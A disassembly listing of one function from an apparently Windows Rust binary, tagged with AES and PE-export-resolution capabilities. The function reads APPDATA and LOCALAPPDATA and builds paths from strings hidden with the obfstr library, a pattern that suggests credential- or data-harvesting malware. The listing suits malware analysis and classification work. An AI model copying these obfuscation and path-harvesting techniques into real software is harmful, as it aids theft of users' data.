Function at 0x140063530
Capabilities:
Encrypt data using aes mixcolumns step
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x1bb8
call sym.___chkstk_ms
sub rsp, rax
movdqa xmmword [rsp + 0x1ba0], xmm15
movdqa xmmword [rsp + 0x1b90], xmm14
movdqa xmmword [rsp + 0x1b80], xmm13
movdqa xmmword [rsp + 0x1b70], xmm12
movdqa xmmword [rsp + 0x1b60], xmm11
movdqa xmmword [rsp + 0x1b50], xmm10
movdqa xmmword [rsp + 0x1b40], xmm9
movdqa xmmword [rsp + 0x1b30], xmm8
movdqa xmmword [rsp + 0x1b20], xmm7
movdqa xmmword [rsp + 0x1b10], xmm6
mov r13, rcx
movabs r15, 0x8000000000000000
lea rdx, str.APPDATA
lea rcx, [rsp + 0xd0]
mov r8d, 7
call sym.std::env::_var_os::hfdaca986d527d091
mov rbx, qword [rsp + 0xd0]
cmp rbx, r15
mov qword [rsp + 0xc8], r15
je 0x14006e807
mov rdi, qword [rsp + 0xd8]
mov rsi, qword [rsp + 0xe0]
cmp byte [rsp + 0xe8], 0
je 0x14006363a
test rsi, rsi
sete r12b
je 0x1400636fa
js 0x14006e7f3
movzx eax, byte [0x1404a5170]
xor ecx, ecx
mov rdx, rsi
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x1400637b1
mov r14, rax
jmp 0x14006370b
test rsi, rsi
je 0x140063702
movzx eax, byte [rsp + 0xef]
shl eax, 0x10
movzx ecx, word [rsp + 0xed]
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0xe9]
or rax, rcx
lea rcx, [rdi + rsi]
mov r8, rdi
jmp 0x14006368c
add r8, 2
cmp rdx, rcx
cmovne rdx, r8
nop word [rax + rax]
mov r8, rdx
cmp rdx, rcx
je 0x140063605
lea rdx, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
jns 0x140063680
cmp r9b, 0xe0
jb 0x14006366f
cmp r9b, 0xed
jne 0x1400636cf
cmp rdx, rcx
je 0x140063605
lea rdx, [r8 + 2]
cmp rdx, rcx
je 0x140063605
cmp byte [r8 + 1], 0x9f
ja 0x14006e859
add r8, 3
mov rdx, r8
jmp 0x140063680
add r8, 2
cmp rdx, rcx
cmove r8, rdx
xor edx, edx
cmp r8, rcx
setne dl
add rdx, r8
cmp r9b, 0xf0
jb 0x140063680
xor r8d, r8d
cmp rdx, rcx
setne r8b
add rdx, r8
jmp 0x140063680
mov r14d, 1
jmp 0x14006370b
mov r14d, 1
mov r12b, 1
mov rcx, r14
mov rdx, rdi
mov r8, rsi
call sym.memcpy
test rbx, rbx
je 0x14006372f
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rdi
call fcn.14021a7bc
mov qword [rsp + 0x5d0], r14
mov qword [rsp + 0x5d8], rsi
lea rdx, str.LOCALAPPDATA
lea rcx, [rsp + 0xd0]
mov r8d, 0xc
call sym.std::env::_var_os::hfdaca986d527d091
mov rbx, qword [rsp + 0xd0]
cmp rbx, r15
je 0x14006e809
mov rdi, qword [rsp + 0xd8]
mov rsi, qword [rsp + 0xe0]
cmp byte [rsp + 0xe8], 0
je 0x1400637be
test rsi, rsi
sete bpl
je 0x14006387a
js 0x14006e7f3
movzx eax, byte [0x1404a5170]
xor ecx, ecx
mov rdx, rsi
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
jne 0x140063889
mov ecx, 1
mov rdx, rsi
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
test rsi, rsi
je 0x140063881
movzx eax, byte [rsp + 0xef]
shl eax, 0x10
movzx ecx, word [rsp + 0xed]
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0xe9]
or rax, rcx
lea rcx, [rdi + rsi]
mov r8, rdi
jmp 0x14006380c
add r8, 2
cmp rdx, rcx
cmovne rdx, r8
nop
mov r8, rdx
cmp rdx, rcx
je 0x140063784
lea rdx, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
jns 0x140063800
cmp r9b, 0xe0
jb 0x1400637f3
cmp r9b, 0xed
jne 0x14006384f
cmp rdx, rcx
je 0x140063784
lea rdx, [r8 + 2]
cmp rdx, rcx
je 0x140063784
cmp byte [r8 + 1], 0x9f
ja 0x14006e896
add r8, 3
mov rdx, r8
jmp 0x140063800
add r8, 2
cmp rdx, rcx
cmove r8, rdx
xor edx, edx
cmp r8, rcx
setne dl
add rdx, r8
cmp r9b, 0xf0
jb 0x140063800
xor r8d, r8d
cmp rdx, rcx
setne r8b
add rdx, r8
jmp 0x140063800
mov eax, 1
jmp 0x140063889
mov eax, 1
mov bpl, 1
mov qword [rsp + 0x860], rax
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call sym.memcpy
test rbx, rbx
je 0x1400638b5
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rdi
call fcn.14021a7bc
mov rax, qword [rsp + 0x860]
mov qword [rsp + 0x15c0], rax
mov qword [rsp + 0x15c8], rsi
call sym.std::hash::random::RandomState::new::KEYS::__u7b__u7b_closure_u7d__u7d_::h67097a37327547d9
test rax, rax
je 0x14006e7a3
movdqu xmm0, xmmword [rax]
inc qword [rax]
movups xmm1, xmmword [0x140443710]
movaps xmmword [rsp + 0x1250], xmm1
movdqu xmm1, xmmword [0x140443700]
movdqa xmmword [rsp + 0x1240], xmm1
movdqa xmmword [rsp + 0x1260], xmm0
lea rax, [0x1403ba146]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x282c0681
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h9bd15b29355c28b8
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebx, byte [rax + 6]
movzx eax, byte [0x1404a5170]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e6b5
mov byte [rsp + 0x6f], bpl
mov qword [rsp + 0x11f0], r14
shl ebx, 0x10
or edi, ebx
mov ecx, edi
shr ecx, 0x10
xor cl, 0xd6
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, edi
shr edx, 8
xor dl, 0xd4
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor dil, 0xfc
movzx ecx, dil
shl rcx, 0x20
or rcx, rdx
xor esi, 0xdce0500c
mov dword [rax], esi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1403b53c6]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x8ee9177
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h7a7a68206a1b41ca
movabs rcx, 0x76af53360fc3398f
xor rcx, qword [rax]
movabs rdx, 0x291241da05f27712
xor rdx, qword [rax + 8]
movabs r8, 0x44cfeb21440f188e
xor r8, qword [rax + 0x10]
mov r9d, 0x8cd96974
xor r9d, dword [rax + 0x18]
movzx r10d, byte [rax + 0x1e]
movzx eax, word [rax + 0x1c]
mov r11d, eax
shr r11d, 8
xor al, 0x6f
xor r11b, 0x88
mov qword [rsp + 0x5e0], rcx
mov qword [rsp + 0x5e8], rdx
mov qword [rsp + 0x5f0], r8
mov dword [rsp + 0x5f8], r9d
mov byte [rsp + 0x5fc], al
mov byte [rsp + 0x5fd], r11b
mov byte [rsp + 0x5fe], r10b
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xf90], rax
mov qword [rsp + 0xf98], 0x1f
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0xbd0], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0xbd8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0xbe0], rcx
mov qword [rsp + 0xbe8], rax
lea rbx, [0x1403bd1e8]
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], 2
mov qword [rsp + 0xf0], 0
lea rdi, [rsp + 0xbd0]
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0xe8], 2
lea rsi, [rsp + 0x1888]
lea rdx, [rsp + 0xd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
cmp rax, r15
je 0x140063b88
test rax, rax
je 0x140063b88
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403b4e8d]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xc8c96cd7
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h0d123a2fd58d71b1
mov r14, qword [rax]
mov esi, dword [rax + 8]
movzx ebp, word [rax + 0xc]
movzx eax, byte [0x1404a5170]
mov edx, 0xe
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e785
xor esi, 0xc4f833dd
movabs rcx, 0x7cd0cefa178a752d
xor r14, rcx
mov ecx, ebp
shr ecx, 8
xor cl, 0xa1
xor bpl, 0x1c
mov qword [rax], r14
mov dword [rax + 8], esi
mov byte [rax + 0xc], bpl
mov byte [rax + 0xd], cl
mov qword [rsp + 0x900], 0xe
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 0xe
lea rax, [0x1403b910a]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x32347c04
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h42df0a458c0ce3ef
movabs rcx, 0x1cded002a7019a2
xor rcx, qword [rax]
movabs rdx, 0x27c338c431dbd5f6
xor rdx, qword [rax + 8]
movabs r8, 0x92898255ba88d89
xor r8, qword [rax + 0x10]
movabs r9, 0xb5de43d35faa9353
xor r9, qword [rax + 0x18]
mov r10d, 0xc927bd21
xor r10d, dword [rax + 0x20]
movzx eax, byte [rax + 0x24]
xor al, 0x60
mov qword [rsp + 0xbd0], rcx
mov qword [rsp + 0xbd8], rdx
mov qword [rsp + 0xbe0], r8
mov qword [rsp + 0xbe8], r9
mov dword [rsp + 0xbf0], r10d
mov byte [rsp + 0xbf4], al
mov qword [rsp + 0xf90], rdi
mov qword [rsp + 0xf98], 0x25
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0x5e0], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], 2
mov qword [rsp + 0xf0], 0
lea rbp, [rsp + 0x5e0]
mov qword [rsp + 0xe0], rbp
mov qword [rsp + 0xe8], 2
lea rsi, [rsp + 0x18a0]
lea rdx, [rsp + 0xd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs r15, 0x8000000000000000
cmp rax, r15
je 0x140063dcd
test rax, rax
je 0x140063dcd
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403bd0e2]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xcc997ea0
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h3b7dd785d5a9c189
mov r14, qword [rax]
movzx esi, byte [rax + 8]
movzx eax, byte [0x1404a5170]
mov edx, 9
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e80e
xor sil, 0xad
movabs rcx, 0x1e95a9da4ae5697f
xor r14, rcx
mov qword [rax], r14
mov byte [rax + 8], sil
mov qword [rsp + 0x900], 9
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 9
lea rax, [0x1403b667b]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x3e257d1b
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h18aa1d544d9c379e
movabs rcx, 0xa673633852702fff
xor rcx, qword [rax]
movabs rdx, 0x3cb8fdf8894c072
xor rdx, qword [rax + 8]
movabs r8, 0xda35c7d8343a8e27
xor r8, qword [rax + 0x10]
movabs r9, 0xd84006823b10215f
xor r9, qword [rax + 0x18]
movzx eax, byte [rax + 0x20]
xor al, 0x8a
mov qword [rsp + 0xbd0], rcx
mov qword [rsp + 0xbd8], rdx
mov qword [rsp + 0xbe0], r8
mov qword [rsp + 0xbe8], r9
mov byte [rsp + 0xbf0], al
mov qword [rsp + 0xf90], rdi
mov qword [rsp + 0xf98], 0x21
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0x5e0], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], 2
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xe0], rbp
mov qword [rsp + 0xe8], 2
lea rsi, [rsp + 0x18b8]
lea rdx, [rsp + 0xd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
cmp rax, r15
je 0x140063fd7
test rax, rax
je 0x140063fd7
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403bd2a5]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xa5eb0528
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h160bfc15d70912c4
mov r14, qword [rax]
movzx esi, word [rax + 8]
movzx ebp, byte [rax + 0xa]
movzx eax, byte [0x1404a5170]
mov edx, 0xb
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e742
shl ebp, 0x10
or esi, ebp
mov ecx, esi
shr ecx, 0x10
xor cl, 0x51
mov edx, esi
shr edx, 8
xor dl, 0xb
xor sil, 0x2d
movabs r8, 0x70ca4680a9b5136c
xor r14, r8
mov qword [rax], r14
mov byte [rax + 8], sil
mov byte [rax + 9], dl
mov byte [rax + 0xa], cl
mov qword [rsp + 0x900], 0xb
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 0xb
lea rax, [0x1403b2b74]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xa5e43561
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h66a6c9ae267ffeb4
movabs rcx, 0x30f647d203847366
xor rcx, qword [rax]
movabs rdx, 0xac907d80f9830154
xor rdx, qword [rax + 8]
movabs r8, 0x2e157b03c725ae10
xor r8, qword [rax + 0x10]
movabs r9, 0x23ea0e5fafde2c99
xor r9, qword [rax + 0x18]
movzx eax, word [rax + 0x20]
mov r10d, eax
xor r10b, 0xaf
shr eax, 8
xor al, 0x36
mov qword [rsp + 0xbd0], rcx
mov qword [rsp + 0xbd8], rdx
mov qword [rsp + 0xbe0], r8
mov qword [rsp + 0xbe8], r9
mov byte [rsp + 0xbf0], r10b
mov byte [rsp + 0xbf1], al
mov qword [rsp + 0xf90], rdi
mov qword [rsp + 0xf98], 0x22
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0x5e0], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], 2
mov qword [rsp + 0xf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 2
lea rsi, [rsp + 0x18d0]
lea rdx, [rsp + 0xd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140064224
test rax, rax
je 0x140064224
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403ad6bf]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x839eb90d
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h357270348c9e0bb5
mov esi, dword [rax]
movzx edi, byte [rax + 4]
movzx eax, byte [0x1404a5170]
mov edx, 5
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e6e9
xor dil, 0xe9
xor esi, 0x42fa50bf
mov byte [rax + 4], dil
mov dword [rax], esi
mov qword [rsp + 0x900], 5
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 5
lea rax, [0x1403b5eea]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x7d8d7686
lea rsi, [rsp + 0xd0]
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::hba14ca33366cbf9f
movabs rcx, 0x2e299f444595d886
xor rcx, qword [rax]
movabs rdx, 0xe9bf7567a5e32524
xor rdx, qword [rax + 8]
movabs r8, 0x4c9948ace5614b2e
xor r8, qword [rax + 0x10]
movabs r9, 0xfc226c71d413b72a
xor r9, qword [rax + 0x18]
movabs r10, 0xd0ef00d4842e8047
xor r10, qword [rax + 0x20]
movabs r11, 0x28d61fb2e468d6e
xor r11, qword [rax + 0x28]
movzx edi, byte [rax + 0x32]
movzx eax, word [rax + 0x30]
mov ebp, eax
shr ebp, 8
xor al, 0xe2
xor bpl, 0x82
xor dil, 0xf8
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], r8
mov qword [rsp + 0xe8], r9
mov qword [rsp + 0xf0], r10
mov qword [rsp + 0xf8], r11
mov byte [rsp + 0x100], al
mov byte [rsp + 0x101], bpl
mov byte [rsp + 0x102], dil
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x33
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0x5e0], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x18e8]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14006448c
test rax, rax
je 0x14006448c
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403b411b]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xcad34c7d
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h46b502d0addb9ddc
mov rsi, qword [rax]
movzx eax, byte [0x1404a5170]
mov edx, 8
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e81d
movabs rcx, 0x8ca1e95a53d4cf00
xor rsi, rcx
mov qword [rax], rsi
mov qword [rsp + 0x900], 8
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 8
lea rax, [0x1403afa37]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xf3a4507
lea rsi, [rsp + 0xd0]
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h487bc84f498ef15d
movabs rcx, 0x930d67a77871b4d
xor rcx, qword [rax]
movabs rdx, 0xdcff45f16c0c6f25
xor rdx, qword [rax + 8]
movabs r8, 0xf6c2e0b9bc6e85f1
xor r8, qword [rax + 0x10]
movabs r9, 0xa7b9ea1bf0672fb3
xor r9, qword [rax + 0x18]
movabs r10, 0x9a03d26dc5a22ba6
xor r10, qword [rax + 0x20]
movabs r11, 0x3d0c74dde98e4b0a
xor r11, qword [rax + 0x28]
mov edi, 0xc1662fd6
xor edi, dword [rax + 0x30]
movzx eax, word [rax + 0x34]
mov ebp, eax
xor bpl, 0x98
shr eax, 8
xor al, 0x5e
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], r8
mov qword [rsp + 0xe8], r9
mov qword [rsp + 0xf0], r10
mov qword [rsp + 0xf8], r11
mov dword [rsp + 0x100], edi
mov byte [rsp + 0x104], bpl
mov byte [rsp + 0x105], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x36
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0x5e0], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rdi, [rsp + 0x1900]
lea rsi, [rsp + 0xbd0]
mov rcx, rdi
mov rdx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rdi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x1400646f3
test rax, rax
je 0x1400646f3
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403b2059]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xbb5d1d7d
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h3f78182d3111c10a
mov edi, dword [rax]
movzx ebp, byte [rax + 4]
movzx eax, byte [0x1404a5170]
mov edx, 5
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e6e9
xor bpl, 0x58
xor edi, 0x7e97d321
mov byte [rax + 4], bpl
mov dword [rax], edi
mov qword [rsp + 0x900], 5
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 5
lea rax, [0x1403b7c91]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x242b1460
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::hc6fadd76313960dc
movabs rcx, 0xcc8047ace90dac6c
xor rcx, qword [rax]
movabs rdx, 0x6d578b234ac11756
xor rdx, qword [rax + 8]
movabs r8, 0xbb0fd0be1a47027a
xor r8, qword [rax + 0x10]
movabs r9, 0x3ed4a75a621e3672
xor r9, qword [rax + 0x18]
mov r10d, 0xedc9fae5
xor r10d, dword [rax + 0x20]
movzx r11d, byte [rax + 0x26]
movzx eax, word [rax + 0x24]
mov edi, eax
shr edi, 8
xor al, 0x4f
xor dil, 0x46
xor r11b, 0x33
mov qword [rsp + 0xbd0], rcx
mov qword [rsp + 0xbd8], rdx
mov qword [rsp + 0xbe0], r8
mov qword [rsp + 0xbe8], r9
mov dword [rsp + 0xbf0], r10d
mov byte [rsp + 0xbf4], al
mov byte [rsp + 0xbf5], dil
mov byte [rsp + 0xbf6], r11b
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x27
lea r14, [rsp + 0x15c0]
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], 2
mov qword [rsp + 0xf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 2
lea rdi, [rsp + 0x1918]
lea rdx, [rsp + 0xd0]
mov rcx, rdi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rdi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14006493a
test rax, rax
je 0x14006493a
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403bc970]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x1ce55190
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::hffafa0ca0004c1db
mov edi, dword [rax]
movzx ebp, byte [rax + 4]
movzx eax, byte [0x1404a5170]
mov edx, 5
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e6e9
xor bpl, 0x3e
xor edi, 0x5ee53f7b
mov byte [rax + 4], bpl
mov dword [rax], edi
mov qword [rsp + 0x900], 5
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 5
lea rax, [0x1403bc80b]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x71a85d5c
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::ha3160bf69887c9d0
movabs rcx, 0x2d374f33e97c580
xor rcx, qword [rax]
movabs rdx, 0x96101dc6e5e97875
xor rdx, qword [rax + 8]
movabs r8, 0xac10491a20ba7552
xor r8, qword [rax + 0x10]
movabs r9, 0xc2ad56d103582be3
xor r9, qword [rax + 0x18]
mov r10d, 0x669f1faa
xor r10d, dword [rax + 0x20]
movzx r11d, byte [rax + 0x26]
movzx eax, word [rax + 0x24]
mov edi, eax
shr edi, 8
not al
xor dil, 0xbe
xor r11b, 0x29
mov qword [rsp + 0xbd0], rcx
mov qword [rsp + 0xbd8], rdx
mov qword [rsp + 0xbe0], r8
mov qword [rsp + 0xbe8], r9
mov dword [rsp + 0xbf0], r10d
mov byte [rsp + 0xbf4], al
mov byte [rsp + 0xbf5], dil
mov byte [rsp + 0xbf6], r11b
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x27
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], 2
mov qword [rsp + 0xf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 2
